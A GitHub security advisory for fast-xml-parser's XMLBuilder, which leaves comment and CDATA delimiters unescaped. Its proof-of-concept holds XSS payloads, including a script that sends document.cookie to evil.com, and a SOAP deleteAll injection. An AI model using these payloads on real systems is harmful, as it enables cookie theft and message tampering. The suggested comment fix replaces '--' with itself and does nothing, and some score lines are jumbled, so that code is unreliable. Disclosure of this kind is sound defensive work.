CVE-2026-41650
ADVISORY - githubSummary
fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters
Summary
fast-xml-parser XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.
Existing CVEs for fast-xml-parser cover different issues:
- CVE-2023-26920: Prototype pollution (parser)
- CVE-2023-34104: ReDoS (parser)
- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities
This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.
Vulnerable Code
File: src/fxb.js
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
// ...
if (key === this.options.commentPropName) {
return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE
}
// ...
if (key === this.options.cdataPropName) {
return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE
}
}
Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().
Proof of Concept
Test 1: Comment Injection (XSS in SVG/HTML context)
import { XMLBuilder } from 'fast-xml-parser';
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true,
suppressEmptyNode: true
});
const xml = {
root: {
"#comment": "--><script>alert('XSS')</script><!--",
data: "legitimate content"
}
};
console.log(builder.build(xml));
Output:
<root>
<!----><script>alert('XSS')</script><!---->
<data>legitimate content</data>
</root>
Test 2: CDATA Injection (RSS feed)
const builder = new XMLBuilder({
cdataPropName: "#cdata",
format: true,
suppressEmptyNode: true
});
const rss = {
rss: { channel: { item: {
title: "Article",
description: {
"#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
}
}}}
};
console.log(builder.build(rss));
Output:
<rss>
<channel>
<item>
<title>Article</title>
<description>
<![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
</description>
</item>
</channel>
</rss>
Test 3: SOAP Message Injection
const builder = new XMLBuilder({
commentPropName: "#comment",
format: true
});
const soap = {
"soap:Envelope": {
"soap:Body": {
"#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
Action: "getBalance",
UserId: "12345"
}
}
};
console.log(builder.build(soap));
Output:
<soap:Envelope>
<soap:Body>
<!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
<Action>getBalance</Action>
<UserId>12345</UserId>
</soap:Body>
</soap:Envelope>
The injected <Action>deleteAll</Action> appears as a real SOAP action element.
Tested Output
All tests run on Node.js v22, fast-xml-parser v5.5.12:
1. COMMENT INJECTION:
Injection successful: true
2. CDATA INJECTION (RSS feed scenario):
Injection successful: true
4. Round-trip test:
Injection present: true
5. SOAP MESSAGE INJECTION:
Contains injected Action: true
Impact
An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:
- XSS: Inject
<script>tags into XML/SVG/HTML documents served to browsers - SOAP injection: Modify SOAP message structure by injecting XML elements
- RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
- XML document manipulation: Break XML structure by escaping comment/CDATA context
This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).
Suggested Fix
Escape delimiters in comment and CDATA content:
// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
const safeVal = String(val).replace(/--/g, '--');
return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}
// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}
Common Weakness Enumeration (CWE)
XML Injection (aka Blind XPath Injection)
GitHub
2.8
CVSS SCORE
6.1medium| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| fast-xml-parser | npm | - | - | <5.7.0 | 5.7.0 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
There is no impact to availability within the impacted component.